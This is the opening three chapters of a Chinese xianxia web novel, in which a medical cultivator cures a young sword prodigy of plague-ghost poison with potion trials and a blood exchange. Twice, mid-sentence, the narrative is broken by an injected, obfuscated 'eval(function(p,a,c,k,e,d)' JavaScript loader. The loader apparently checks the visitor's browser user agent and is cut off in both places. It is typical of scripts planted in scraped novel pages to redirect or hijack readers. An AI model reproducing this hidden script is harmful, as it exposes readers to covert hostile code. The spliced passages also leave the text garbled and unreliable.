《剑修,狗都不谈》 1. 医闹禁止 正值立春,山脚的溪水刚解冻不久,水流中浮动着碎裂的冰块,绿芽新吐,鸟叫声此起彼伏在一片单薄冷淡的雾气里面。 这是隶属于北山药宗的一座药山,有阵法拘束,一应飞天遁地之术都无法施展。 林争渡背着药篓,右手拎一把镰刀,左手拄根绿莹莹的手杖,穿行在山林之中。 山坡陡峭,杂草丛生,薄雾中不时有低阶灵兽的黑影窜过去。而林争渡对这样的环境已经习以为常,遇坡爬坡,遇水淌水,像一头天然生活在山林里的,灵活的鹿。 走到家门口,林争渡看见一名传话弟子正满脸踌躇在她房门口徘徊——林争渡疑惑了片刻,走上前招呼对方。 年轻的师弟被吓了一跳,瞪大眼睛看着突然出现在自己面前的林争渡:林争渡这会刚从山上下来,包着乌发的头巾上还沾着几片叶子,掖了裤脚的短靴上更是糊满了泥巴。 这身形象太接地气了,乍一眼都没认出这是宗门师姐,还以为是普通的采药女。 林争渡把镰刀放到墙根,摘下头巾拍落上面的绿叶。 传话弟子回过神来,连忙开口:“师姐,佩兰长老让你现在去一趟菡萏馆。” 林争渡:“现在?” 传话弟子点头,又补充了一句:“剑宗那边抬过来一个人,估计是想让你去看看。” 林争渡觉得奇怪——剑宗抬人过来不奇怪,北山剑宗和北山药宗本来就是一个门派里分出来的两支,但是专门喊她过去就有点奇怪。 因为林争渡只有二境修为,而她的师父佩兰仙子却已经是六境医修,更何况林争渡学得杂,医修的法术并不精通,要治疗也不应该找她。 林争渡把头巾卷起来,揣进怀里:“行吧,等我把药篓放了,换一身衣服就去。” 传话弟子闻言,也不敢走。他一想到自己如果提前走,就得自己去面对那几个凶神恶煞的剑宗,宁愿站在院门口,等师姐换好了衣服再一起走。 不一会儿,林争渡换了干净的衣裙出来——她乌黑的长发半挽,只用一支已经开了花的刺梨别了头发,除此之外浑身上下再无任何别的装饰,素净得像是一刀白宣纸。 两人通过传送法阵,瞬息之间便抵达了菡萏馆。 以传送法阵为起点蔓延出去的石质连廊,两侧皆为一望无际的巨大水泽。水面上更是铺满了格外高大的荷花与荷叶,那些荷叶比林争渡这个人都要大好几倍,立在两边,投下的影子将连廊完全淹没,只余下一片幽静。 穿过连廊,传话弟子在门外停步,还不忘小声叮嘱林争渡:“我看那几个剑修来者不善,师姐你要小心他们医闹。” 林争渡听了,心里有点犯嘀咕。 她推开门往里走去,目光习惯性的扫了眼情况——屋内情况确实有点不对,人太少了。 平时总在师父身边伺候的师弟师妹们都不在,也没看见传话弟子口中的‘好些剑修’。唯有主位上坐着的师父佩兰仙子,和她左手边坐着的一白衣男子。 地面上还有一个躺在担架上,气息微弱的少年。 林争渡先老老实实的上前见过了师父,然后走到她老人家身边站好。 室内一片死寂,气氛肉眼可见的紧张。地上躺着的那个显然是半死不活,没法说话,而那白衣的青年剑修则是神色冷硬肃穆,满脸都写着‘我心情很差’几个大字。 林争渡看看地板,看看椅子——等到佩兰仙子放下手中茶杯时,她才慢吞吞移动目光,开始看师父手臂间那几条永远无风自动飘逸神采的几条披帛带子。 噢,师父今天换了桃红色的披帛。 妙极,妙极,好应立春的颜色! 佩兰仙子冷不丁开口:“争渡——” 林争渡下意识答应了一声,并抬头挺胸作出我有在听的乖巧模样。 佩兰仙子指了下躺在地上的少年:“你去看看他。” 林争渡走到少年身边半蹲下来,目光将病患从头扫到尾;这骨头长得真好,比她收藏的任何一具骨架都要对称漂亮。更难得的是他修为似乎很高,修为高的人骨头会受到灵力影响,发生一些特殊的变化。 她忍不住在少年手腕上摸了摸,等摸到对方虽然微弱,但还没断气的脉搏——林争渡遗憾的想:唉,是个活的,那就没用了。 她缩回手,站起来回答师父:“此人中了疫鬼之毒,毒素已经深入心脉,不过他修为极高,所以一时半会还死不了。” “但是,师父,疫鬼之毒我不会解噢!” 林争渡好心提醒——佩兰仙子瞪了她一眼,她老老实实闭上嘴巴,假装无事发生。 佩兰仙子偏过脸,神情自若的与白衣剑修交谈起来:“疫鬼之毒,即使是医修独有的治愈灵力也无法化解。就算是让我来,我也顶多只能保住你徒弟的性命,但他醒来之后是否还是你那个天赋卓绝引以为傲的天才弟子,那可就不一定了。” “争渡是我药宗最擅长解毒的人,但你也看见了,她只有二境修为。你若想赌一把,就选她,若只想保住徒弟性命,便由我亲自动手。” 白衣剑修眉头紧锁:“就没有两全之策吗?” 佩兰仙子:“如果有,疫鬼一族也不会令众多修者闻风丧胆了。” 白衣修者沉默不语,很有压迫感的目光在佩兰仙子和林争渡之间徘徊。他修为很高,即使没有刻意释放威压,只是目光也让林争渡感觉压力很大,所以林争渡默默往自己师父身边挪了挪。 看起来对方还要纠结好一会,林争渡趁机低声和师父咬耳朵:“这谁啊?” 佩兰仙子也低声:“剑宗的云省长老,地上躺着的是他唯一的亲传弟子,谢观棋。” 林争渡:“等等,是那个距离成仙只有一步之遥,但已经杀过很多个仙人的云省长老吗?!” 佩兰仙子点头。 林争渡小心翼翼的把声音又压低了一点:“如果,我是说如果啊,要是他选了我,然后我又,有那么,一点点,超级特别小的一点不小心,把他徒弟给治死了——他会不会把我砍成八块?” 佩兰仙子嫣然一笑:“小宝,没有那么大块。” 林争渡:“……” 白衣剑修面无表情:“我听得见。” 林争渡先是一惊,然后尴尬的继续看自己师父手臂上飘来飘去的披帛。 佩兰仙子:“在说你坏话,开心吗?” 云省长老并不接她的话,凌厉目光锁定在林争渡身上——但是佩兰仙子手臂上的披帛带子浮了起来,恰好将云省长老的目光挡住。 佩兰仙子:“我已经吓过我家徒儿了,你要选就选,不要对她问什么几成把握的废话。就算是九成把握,也还有一成可能会死,医者尽人事,剩余看天命,我们医修又不是女娲,还能把泥巴捏成活人。” 云省长老并不死心:“我听说九境医修可以点化草木之躯……” 佩兰仙子:“你徒弟天生大圆满的剑心,你要把他换成草木之躯?反正我是没意见,你记得写一封同意书,往上面按好手印,这样等你徒弟醒了,日后修行艰难有所怨怼之时,以书信为证,冤有头债有主,可别来找我们药宗的麻烦。” 作为一个经验老到,处理过数千起患者闹事的成熟医修,佩兰仙子三言两语就堵死了云省长老的奢想。 云省长老沉默——趁着他不说话的时候,林争渡悄悄从师父手边的桌上拿了一块点心偷吃。 她来得急,还没吃早饭,肚子早饿得要命,爬山可是很耗体力的! 自从知道躺在地上的少年,是云省长老的亲传弟子之后,林争渡就立刻死绝了图谋对方骨头架子的贼心。她想云省长老也不可能把唯一的亲传弟子交给自己,最后还得交给师父,遂安心当起了摆件。 云省长老:“如果能成功解毒,他就能和以前一样——无论是修为还是剑心,都不会受到折损?” 佩兰仙子:“前提是成功解毒。” 云省长老站起来,绕过佩兰仙子,竟然对着林争渡一个晚辈行礼。 林争渡迅速把嘴巴里剩下的糕点咽下,惊慌失措看向佩兰仙子。 佩兰仙子对她微微一笑:“把人带回你的院子里好好治吧。” 云省长老郑重道:“凡有所需药材,你只管提,就算是要东海老龙的肝胆,昆山凤凰的脊髓,我们剑宗也一定能给你弄来。” 林争渡揪住师父手臂上的披帛,擦了擦手,小声:“万一,我是说,那个,万一真治死了……我是不会给您徒弟偿命的噢。” 虽然这句话很破坏气氛,但是林争渡觉得自己最好还是和对方说清楚。 云省长老额角青筋跳了跳,但是并没有暴怒,而是缓缓闭上眼睛:“如果治死了,那就是我命中不该有徒弟,绝不追究你的责任。” 得到保证,林争渡才敢让小弟子帮忙把病患抬回自己住的院子里。 这座药山归林争渡一个人管,所以山脚的院子也是林争渡一个人住,空房间很多。她找了个通风好的侧卧,铺了床褥之后,让病患躺了上去。 之前在菡萏馆里,林争渡没把对方当做自己要负责的病患,所以只搭脉匆匆一瞥,看出是疫鬼毒后就马上撒手了;毕竟疫鬼毒这种东西她也只听过没见过,据说传染性很强,人剑宗亲传弟子,修为高深,都被毒得半死不活,她要是染上了那还得了? 她修为又不高,魂魄也没那么强悍,能禁得住离魂再造的苦——就算她师父想给她重塑肉身救她性命,估计术法还没施展完,林争渡的魂魄就碎成茶叶蛋的蛋壳了。 但今时不同往日,现在这个被毒得半死不活的倒霉剑修是她要负责的病患了。 林争渡站在床边观察了一会对方脸色;只见病患双目紧闭,面色苍白如山间晨雾,脖颈上外露的皮肤则攀爬着细密的黑色丝状痕迹。 她打开腰间搭包,从里面取出一双雪白的丝绸手套戴上——手套外形完全贴合着林争渡的手掌和手指,材质薄到可以看见她掌心纹路。 这种手套既能隔绝各种毒素,又能保证手感最大限度的不受影响。 戴好手套之后,林争渡先扒开病患上衣:对方的身体果然同她刚才目测的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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日光从支开的窗户外照进来,笼罩着少年爬满黑色纹路的皮肤。他的脸上没有一丝血色,只有规律但微弱的心跳声不断响起,昭示着对方还不是死人的事实。 云省长老并没有交代病患是怎么中的毒,师父也没多说——所以林争渡只知道对方是剑宗寄以厚望的天才弟子,名字叫谢观棋,除此之外一无所知…… 不过刚才摸他胸口的时候,林争渡摸出了他的骨龄,十七岁。 林争渡的灵力融在对方血液中,将他体内经脉逛了个遍。对病患的身体情况有了初步判定之后,她收回灵力,用拳头大小的玻璃瓶装满一瓶谢观棋的血后,她帮谢观棋将上衣衣襟掩上。 回到配药房,林争渡架起坩埚,往坩埚底下的阵法中投入两块火属性的灵石。 至精至纯的火灵窜起蓝焰,等到坩埚里的水烧开之后,林争渡才开始往里面扔药材。 她身后就是巨大的药材柜——并不需要林争渡起身去拿,哪个柜子里放着什么药材,林争渡早已将位置背得滚瓜烂熟。 她只需要勾勾手指,施展两个小法术:药材柜子就会自己打开,里面的药材飞出来跳进沸水之中。 很快那锅沸水就变成了深深的紫红色,并飘出一股酷似火药的味道。虽然气味不像传统中药那么难闻,但是火药的味道令人更加难以下口。 林争渡就没有这个烦恼,她取过勺子尝了一口新调制的药水,眼睛眯起来。分辨了片刻之后,林争渡倒了一点病患的血进坩埚。 随着一声巨响,坩埚非常爽快的炸了。 林争渡虽然躲得快,但脸上仍旧不可避免的被糊了一层黑灰。她抹了抹自己的脸,习以为常的收拾现场,同时掏出小本,将毛笔尖含在嘴里润了一下,往上开始记她刚才配的药材。 “看来疫鬼虽然生活在雪国,但它们的毒却不是水属或者木属一类的啊,接下来再试试别的吧。” 那一天,山脚的小院里频繁响起爆炸声,将附近的小兽吓得四处逃窜。从院子里冒起来的黑烟,也惊走了时常在屋脊上栖息的麻雀。 * 谢观棋恍恍惚惚的睁开眼——视线所及的一切都很模糊,就连身体也好似不是他的一般。 他躺了好一会,才渐渐恢复了些许知觉,能闻到空气中飘荡着的那股奇怪味道。 有点像草药味,但又似乎有点腥甜,像陈年兵器上攀爬的铁锈。 视线慢慢变得清晰,谢观棋看见了陌生的屋顶,屋顶正中间那根横梁上不知为何,站着许多不同种类的鸟。他茫然片刻,想要起身,但是身体不听使唤——就连转动脖颈都难以做到。 他只能转眼珠子,竭力左顾右盼,看出自己仿佛躺在一间平平无奇的农家小屋里,床边还坐着一个年轻女子。 对方单手支着脸颊在打瞌睡,手指的影子落在雪白莹润的脸颊上。 谢观棋脑子还不清醒,愣愣的盯着那年轻女子。 好奇怪,他是中毒了,要死了,又不是成仙了——怎么两眼一睁,就看见仙女在自己床边? 2. 解毒 连续三天试药,林争渡困得坐在病患床边就睡着了。 迷迷糊糊间脑袋枕空,她一个机灵醒来,眼皮掀开便对上病患半睁的眼睛——病患不知道什么时候醒了。 林争渡一下子精神了起来,手指搭上他手腕摸脉搏。 毒没解,但已经不像刚送过来的时候那么严重了。 林争渡伸出两根手指,比到病患呆滞的双眼面前:“这是几?” 病患涣散的视线慢慢集中到林争渡手指上,但是他的目光只在手指上停留了不到两三秒,很快就目标明确的绕过手指,继续盯着林争渡的脸。 半晌,病患声音虚弱但坚定的开口:“你不是人。” 林争渡:“……” 她伸手往谢观棋脖颈上一捏,虚弱的病患很快就昏了过去。 林争渡自言自语:“看来前期治疗还得再延长两天,这人看东西都有幻觉,还不适合换血。” 将桌上的药碗,针筒等杂物收进搭包里,林争渡离开侧卧,回到自己宽敞的配药房。 因为这两天配药时频繁炸锅,本就杂乱的配药房现在更是乱得像一个垃圾堆。 林争渡光是要走到自己的书桌面前,路上就踢开了好几个碍事的破瓦罐。 书桌有配椅子,不过林争渡没空坐。她站在书桌面前,掏出药方铺到桌面上,用毛笔涂改了其中几味药材,随后又列出一张药材清单,写好之后将它绑到信鸽腿上。 信鸽就只是普通的信鸽,不过经过养鸽人的特殊训练,它们可以不受阻碍的穿行于药宗各大法阵之中,有效而快速帮助门中弟子互相传递消息。 但是信鸽无法离开北山药宗。 林争渡的那张清单会先传递到菡萏馆她师父佩兰仙子手上,再由佩兰仙子转交给剑宗。 目送信鸽振翅远去,背影很快就消失在层叠山林之间。林争渡转着手上的毛笔,陷入思索之中。 病患仍旧昏迷不醒,但是情况已经有了明显好转。他可以自主吞咽药汁,不用林争渡再像第一天那样用针筒直接注入他的经脉里面。 给谢观棋喂下去两大碗药汁后,林争渡用手帕擦了擦他唇角沾到的水渍,坐在一边观察病患的反应。 他再度有清醒意识时却已经是深夜,屋外明月高悬,屋内灯火葳蕤。 火光照得谢观棋那张苍白面容都多了几分血色,他眼眸半睁,神色仍旧带有不清醒的懵懂茫然——和上次一样,他的视线只在半空中飘忽了片刻,很快就锁定到了林争渡脸上。 林争渡重新在他眼前伸出三根手指:“这是几?” 谢观棋茫然,根本没有听清楚她说了什么,也没有看她的手指。他还记得自己见过这个女人,但那一小段短暂的记忆太过于模糊,以至于谢观棋有点分不清楚自己到底是深陷濒死的走马灯中,还是真的被‘仙女’救了。 片刻迟疑后,谢观棋声音虚弱:“你不是人吧?” 林争渡伸手往他脖子上一捏,重新把人捏晕。 她百思不得其解:“不应该啊,都快第四天了,怎么还是陷在幻觉里?” 可是林争渡重新为谢观棋检查身体,又没有检查出病患身体有恶化的迹象。思来想去,林争渡还是决定第二天给谢观棋加大剂量试试。 第二天正午。 配药室里怪味蔓延,铁锈似的药味里混杂了羊肉炊饼的香气,以及数日来爆炸的火药味,囤积药材的草木味…… 数种味道拧成一股,呛得陆圆圆走进大门又马上跳出来,扭头一口气跑出去七八步,把脑袋扎进院子里的薄荷丛里一阵猛吸。 他是林争渡的师弟,但不是人族,而是一只猫妖。虽然已经活了六十多岁,不过按照妖族的年龄计算,陆圆圆还只是一个小孩。 所以他平时的主要任务就是修炼,上学,以及给师父师姐师兄们跑腿。 林争渡咬着炊饼从屋子里走出来,对满屋子堪称毒气的味道毫无反应。 陆圆圆吸够了薄荷,起身抱怨:“师姐,你怎么还吃得下东西啊?里面臭死了!” 林争渡:“配药室不都是这样的味道,要吃饼吗?羊肉馅的。” 陆圆圆摇头拒绝,抬手拍了拍自己腰间的储物锦囊——霎时各种药材铺了满地。 “这是剑宗那边送来的药材。” 有草木的,也有用冰块封存的灵兽部件。因为被封存得很好,所以并没有血腥味,只有冰块冷幽幽的气味。 陆圆圆好奇的问:“师姐,解疫鬼毒真的需要穷奇的整副骨头吗?” 林争渡:“不知道有没有用,但是我很想要收藏。” 她三两口咽下馅饼,跳下台阶验收药材。很快林争渡就发现,剑宗送来的材料不仅新鲜,而且分量还都比她清单上列出来的多了一倍。 林争渡:“剑宗那边没有让人带话吗?” 陆圆圆摊手:“不知道,我没见到剑宗的人,东西是师父直接交给我的。” 送完药材,核对完没有缺漏后,陆圆圆就离开了。林争渡卷起衣袖,把头发也盘起来,随手从旁边灌木丛上折断一截细枝固定,开始收拾满地的药材——该化冰的化冰,该分类的分类。 穷奇骨架外层的冰块化掉之后,新鲜的戾气扑面而来,森白骨架上甚至还残留着没干透的血迹。 林争渡没戴手套,在骨架上摸来摸去,感受着骨架上残留的凶兽威压,感慨:“居然是现点现杀的,剑宗效率好高。” 一时间,她对治好谢观棋这件事情燃起了空前的热情。 傍晚时分,已经喝下第五道药的谢观棋悠悠醒来。这次他感觉自己大脑比前两次都要清楚很多,也能感觉到夕阳温热的照在自己脸上。 林争渡看着他睁开了眼睛,于是伸出五根手指问:“这是几?” 谢观棋思索片刻,回答:“一只手。” 林争渡又掏出一支毛笔给他看:“这是什么?” 谢观棋:“毛笔。” 林争渡:“你叫什么名字?今年多大了?” 谢观棋没有回答,反问:“你是谁?” 他的目光直勾勾盯着林争渡的脸,清楚了很多的意识分辨出面前这个女人不可能是‘仙女’。 林争渡点点头,掏出小本子往上记录:“基础认知健全,没有出现失忆现象——我叫林争渡,药宗弟子,现在是你的大夫,你还记得自己中毒了吧?” 谢观棋:“……记得。” 林争渡合上本子,向他露出笑脸:“别担心,我会全力治疗你的。” 在药物作用下,谢观棋并没有清醒多久,和林争渡短暂对话几句后,他又迷迷糊糊的陷入了昏迷。林争渡坐在床边,紧密观察了他一整夜,一步也不曾离开房间。 直到第二天天亮——谢观棋没有出现异常反应,呼吸平稳的昏迷着。因为体内毒素得到了很好的扼制,他的脸色看起来都红润了许多,脖颈上的黑纹也消失不见。 但林争渡清楚,这都只是表象。 疫鬼毒暂时被压制,但并没有解除,甚至没有被削弱。等到谢观棋体内的药力消散,疫鬼毒就会以更加凶猛的姿态反扑回来。 林争渡回到配药室重新配药——现在该进入到下一个治疗阶段了。 到了正午阳光最盛的时候,林争渡沐浴更衣,先拜过祖师爷,祈求祖师爷保佑治疗顺利,然后再勤勤恳恳把自己的工具和调配好的药水搬进侧卧。 最后将侧卧的门窗都紧密严实的关好,并用灵石启动屋内的隔绝阵法。 随着阵法光芒闪烁,整间房屋陷入孤零零的黑暗之中。原本还会传入屋内的鸟叫虫鸣也完全消失不见,在这片幽暗的死寂之中,这座房间似乎被孤立遗忘了。 林争渡摸黑找到烛台,将其点亮。 一星火光昏沉微弱,照得她那张脸也模糊起来,像一副浸了水,颜料晕糊的画。 她举着烛台坐到床边——床头柜上摆着针筒,玻璃瓶装的药汁,还有一些炮制过的,外形古怪的材料。 气氛变得阴森幽暗,以至于谢观棋再度醒来时差点以为自己已经在幽冥地府。他在茫然之余,本能的看向了林争渡。 四目相对,林争渡弯起眼眸对他笑,声音柔和:“别害怕,这只是一种治疗手段。你如果紧张,可以和我聊聊天。” 她说话时,握住谢观棋手腕,将他的衣袖推到胳膊肘处,完全露出小臂。和谢观棋温度略高的皮肤相比,林争渡的手指显得有点冰冷,修剪整齐的指甲轻轻划过,令谢观棋不自觉抽动了一下小臂上的肌肉。 虽然气氛阴森,但他并不觉得害怕。不过林争渡说可以和她聊天——谢观棋是愿意和自己的大夫聊天的。 谢观棋:“你的名字,是哪三个字?” 林争渡:“双木林,争渡,争渡,惊起一滩鸥鹭。” 谢观棋茫然:“什么意思?” 他没听懂林争渡后面念的那三句是什么东西,好像是诗,可是‘争渡’是两个字,最后一句又有六个字,这字数也不对称。 林争渡正低着头在找谢观棋手臂上的血管——闻言她抬起眼,目光变化明显的从盯着谢观棋手臂,转为盯着谢观棋的脸。 昏黄灯光柔柔的,无论是林争渡看谢观棋,还是谢观棋看林争渡,她们的脸都陷入一种被水浸糊的氛围里面。 随即林争渡笑了,眼睛弯成月牙,声音温温柔柔,像烛台上晕开的微光:“一句诗。” “争夺的争,渡河的渡。” 谢观棋愣了一瞬,连针头什么时候没入血管,也没有察觉。直到微凉的药汁从针头淌入手臂——他感觉到冰冷的刺痛,才慢慢回过神来。 但他脸上的表情没有什么变化,只是压了压唇角,在脑子里写了一遍大夫的名字。 争渡,争渡,惊起一滩鸥鹭。 眼看着谢观棋原本清醒的神色渐渐涣散呆滞——林争渡知道这是迷思药起效果了。 她之前做药物试验的时候,发现杜鹃鸟的舌头加上嘤嘤花可以做出一种暂时令人身体放松,思绪混沌的药。类似于蒙汗药,但是效果要更好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他显然自己聊兴奋了,脸颊晕红,被推回床上了也没闭上嘴。 “大夫,你喜欢狗吗?我特别会学狗叫。” “汪汪汪——” “大夫,你喜欢往剑上挂饰品吗?是喜欢挂在剑柄上还是挂在剑鞘上?你喜欢金属的剑鞘,还是玉石的剑鞘?” “大夫,你的眼睛好亮啊,特别像剑招收势,真好看。” 林争渡把自己的衣袖也卷起来,与谢观棋手腕并排放,轻薄的柳叶刀划过,两人手腕上顿时出现一条整齐的伤口,血珠飞快涌了出来。 血液受到林争渡的操纵,互相交融,看起来像是一条红线,连接着林争渡和谢观棋的手腕。 因为迷思药的作用,谢观棋对自己手腕被划了一刀毫无所觉,仍旧在兴奋的自言自语,只不过说的内容已经从‘大夫你真好看’,进化成了他的个人练剑心得。 “我编写了一本剑谱,大夫,你要看吗?” “我觉得铸剑最好还是用不周山的铁,因为火灵含量很高,有属性加成。” “大夫,你给我当师妹吧,你给我当师妹,我给你打一把剑。我很会铸剑,我师父的剑就是我铸的。” …… 林争渡听着听着,不自觉偏过脸笑了起来。 她想:谢观棋可能没有师妹,心里又很想要有一个师妹,所以才一直追问她要不要拜师。 而且谢观棋学狗叫确实学得很像。 和谢观棋交换了部分血液,林争渡用治愈法术愈合了他手腕上的伤口,又将房间内的阵法关闭——谢观棋还在胡言乱语,林争渡干脆把他打晕。 被压制过后的疫鬼毒,顺着交换过来的血液流遍林争渡全身。她安详的躺在配药室躺椅上,默默感受着疫鬼毒在自己体内爬来爬去。 半晌,林争渡翻了个身,探头往地上呕了口乌黑的血。 腥苦气味在唇齿间蔓延,林争渡呸呸呸数声,嘀咕:“毒发的时候还挺痛,先试试第一版配方。” 配药,试药,修改药方——转眼就过去了五天,林争渡终于赶在疫鬼毒把自己毒死之前,先把它给毒死了。 这五天里,林争渡还要抽空给谢观棋喂药。 他的情况时好时坏,有时候是被疫鬼毒毒得黑纹乱爬,有时候是被林争渡的血毒得浑身青筋暴起。 好在林争渡提前备好了药,一看谢观棋情况不对,就捏着他鼻子给灌两碗药。特调的药味道很差,导致少年剑修即使在昏迷中也眉头紧皱,脸拧得像一颗小苦瓜。 林争渡放了半碗血给谢观棋喂下去——他脖颈上的黑纹,皮肤底下突突乱跳的青筋,霎时都消失不见。 杂糅了特定药物的血液在某种程度上已经变成了良药,可以同时解掉谢观棋身上的两种毒。 这就是解毒的第二个疗程,必需药引是林争渡本人。 3. 师妹 只喂一次还不能完全解毒,所以傍晚和子夜两个时间,林争渡又分别给谢观棋喂了两次血。 她无法保证那些杂糅了药材的血液就一定能治好谢观棋,所以干脆在病患床前守至天明,困极了也就用手撑着脸颊略闭一闭眼睛。 但往往养神不过片刻,林争渡又睁开眼,继续观察谢观棋的情况。 到底是剑修,身体底子好,等到第二日清晨,东边鱼肚白微显,天色尚未完全明亮时——谢观棋的脸色已经恢复如初,呼吸沉稳绵长。 林争渡给他诊脉,指尖扣着对方手臂内侧摸索。 隔着一层单薄的皮肤,底下的血液受林争渡驱使,缓慢流转谢观棋体内。确认谢观棋体内毒素已经完全消失,林争渡终于放下心来,困倦的打了个哈欠。 但现在还不是睡觉的时候。 林争渡先写信给了佩兰仙子,告诉她谢观棋身上的疫鬼毒已解,然后又另外放了两小瓶血——她用毛笔往瓶身上写了一行标注小字,随后将玻璃瓶放到药柜里。 那一格药柜里装满了大小一致的玻璃瓶,瓶内无一例外装的都是林争渡的血。但是每个小瓶上写的内容都不相同,是各种世间罕见剧毒的解药。 她体质特殊,利用换血制作出来的解毒药性在身体里最多只能维持三天。三天后解药的药性就会被林争渡的血肉吞噬,重新恢复最开始的状态。 这种吞噬是不分药性好坏的,所以理论上来说林争渡算是百毒不侵。 但仅仅是理论上来说。 因为她的身体需要三到七天的时间才能完成一次更新迭代,但有些剧毒一进嘴巴就能把人毒死,根本不会给林争渡自我修复的时间。 所以对待剧毒——例如疫鬼毒,林争渡就需要先将它压制到不会立刻把自己毒死的程度,才能将它引入自己体内。然后在药性彻底消失之前,将血引进固元瓶中,以此来长久的保持它的药性。 放完血,林争渡坐在躺椅上缓了会。 她原本只想躺着小憩片刻,但居然卧在躺椅上昏昏沉沉的睡了过去。等到林争渡从睡梦中惊醒时,天色已经暗了下来。 配药室里没有点灯,一片昏暗,些许微弱的暮光照在门槛上。 林争渡揉着脸坐起来,身上披着的薄被跟着滑落。她低头看了眼身上盖着的被子,不由的‘咦’了一声——林争渡不记得自己昏睡过去之前有盖什么被子。 门外传来簌簌的动静,林争渡掀开被子离开躺椅,走出门便看见谢观棋拿着一把扫把,正在扫院子里的落叶。 院子里那两盏纸灯笼已经点亮了,但光线还是不太够,至少林争渡看不清楚谢观棋的脸。 她分明没有出声,谢观棋却像背后长了眼睛一样,停下扫地动作,回过身来望向林争渡。 林争渡有点意外:“你醒了?” 谢观棋点点头:“我感觉身体好多了,所以就起来活动一下……林大夫,你的手怎么了?” 林争渡低头看了眼自己的手——手腕上缠绕着一圈药味浓重的白色纱布。 医修一般都很擅长自愈,但林争渡因为体质特殊,很多治愈法术落到她身上反而会效果打折。更何况林争渡的治愈法术还学得不怎么样,治点别人身上的小伤倒是可以,治自己就有点够呛。 她摸了摸那层纱布,漫不经心回答:“制药的时候不小心划到的……你有感觉身上哪里不舒服吗?” 虽然谢观棋现在看起来很健康,但是林争渡还是按照惯例询问了一句,并走下台阶,一直走到谢观棋面前。 谢观棋拄着扫把,回答:“除了身上有点无力之外,并无其他不适。” 林争渡点了点头:“那很正常,你毕竟中了毒。留在我这修养一个月,一个月内没有出现排斥反应,那就可以走了。” 谢观棋歪了歪头:“排斥反应?” 林争渡解释:“有些修士会对部分特定药物过敏,过敏反应有潜伏期。而且你是我遇见的第一个中了疫鬼毒的病人,所以我要好好观察一下你的用药反应。” 谢观棋:“那我之后还要吃药吗?” 林争渡想了想,含糊回答:“那要看情况,情况有变的话,还是得吃药的。” 眼看已经是晚饭时间——之前谢观棋一直昏迷不醒,林争渡就没有给他吃饭。她并不担心谢观棋饿死,因为修为高深的剑修身体素质极强。 但是现在对方已经醒了。 所以林争渡好心邀请:“要不要一起吃晚饭?” 谢观棋回答:“好,等我先把落叶扫了。” 他清醒的时候有点寡言少语,和中了麻药时不停碎碎念的模样简直判若两人,说完话之后就低头闷不做声的干家务。但是扫地倒是扫得很干净,把庭院里堆积了一整个冬天的落叶都清扫一空。 托谢观棋的福,林争渡终于记起来,原来自己家庭院铺的是淡米色石砖。 之前地面一直堆积着落叶。落叶盖落叶,林争渡也懒得去扫,已经很久没看见过院子石砖原本的模样了。 林争渡自己住是不开火的,只有需要配药煮药的时候,她这院子里才会有明火。而平时一日三餐,她要么吃提前买好耐储存的方便饭,要么随便把一些可食用的药材烤烤就吃了。 即使有病患一起吃饭,林争渡也没有开火的打算。 她从厨房堆着冰块的地窖里取出羊肉馅炊饼,分给谢观棋两个。分完之后,林争渡颠了颠竹编篮子,看见里面只剩下两块饼两块糕了——看来明天要下山补货了。 两人坐到厨房门口的台阶上,林争渡把台阶旁边的纸灯笼点亮,然后坐回谢观棋身边继续吃饼。 昏黄灯光笼罩着她们,谢观棋嚼一口硬邦邦的饼,眼角余光瞥一下林争渡。 只能看见侧脸,像深谷幽兰一样素雅秀致的脸,乌黑的长发半挽,有些许碎发垂在她脸颊侧。很难想象这样一张适合读书画画的脸坐在台阶上吃大饼——不过饼挺好吃的。 谢观棋收回目光,又咬了一口饼。 林争渡笑眯眯的问:“你还记得治疗期间发生的事情吗?” 谢观棋思索片刻,回答:“药的味道有点腥。” 林争渡:“还有呢?” 谢观棋:“大夫你的手很冰。” 林争渡‘嗳’了一声,诧异之余又觉得好笑;谢观棋看来完全不记得自己说过的那些胡言乱语了。 谢观棋又道:“还有大夫你说话的声音很好听。” 林争渡:“……” 谢观棋说完,停顿了两三秒,又补充一句:“别的都没印象了。” 他低下头继续吃饼,脸上神色平静。因为过于平静,所以一点也看不出轻浮戏弄的意味,夸赞的话语也因此而显得直白赤忱——好似他夸的不是一个年龄接近的女孩子,而是他手上那张炊饼。 林争渡被夸得有点不好意思,下意识想要摸摸自己鼻尖,但是抬起手后又看见自己手上沾着油光。她只好作罢,老老实实坐在台阶上吃饼。 第二天一早,陆圆圆又来了。 但他不是一个人,还带来了五个年轻剑修——有男有女,都穿着一样的蓝白间色剑宗门派衣服和黑色长靴,显得个高腿长,精神活泼。 陆圆圆介绍:“这几位都是剑宗弟子,谢师兄的同门。得知谢师兄醒了,她们便过来探望。” 五个人和林争渡简单的打过招呼,立刻像一群鸟雀呼啦啦涌进谢观棋住的侧卧。 她们不仅来看望谢观棋,还给谢观棋带了礼物,和换洗衣物。 林争渡站在原地抱着胳膊,挑了挑眉:“他人缘这么好?” 陆圆圆:“剑宗的天之骄子,怎么会人缘不好。” 林争渡仍旧觉得非常稀奇,道:“可是他很年轻。” 谢观棋比她还小呢。 陆圆圆撇撇嘴:“不然怎么叫天之骄子呢?骄子骄子,就是要把我们这些普通人摁在地上摩擦的……不过。” 他忽然抬首挺胸,十分与有荣焉:“管他什么天纵奇才剑宗荣耀,这回要不是师姐,他这会儿早就投胎去了!” “所以还是师姐你更厉害!” 林争渡走到侧卧门口——里面人太多了,她不想进去人挤人,于是便只是靠在门边往里看。 那些人高马大的剑宗弟子,即使只有五个人也把房间填得满满当当。谢观棋坐在房内唯一的一把椅子上,侧着脸在听一个女弟子讲话。 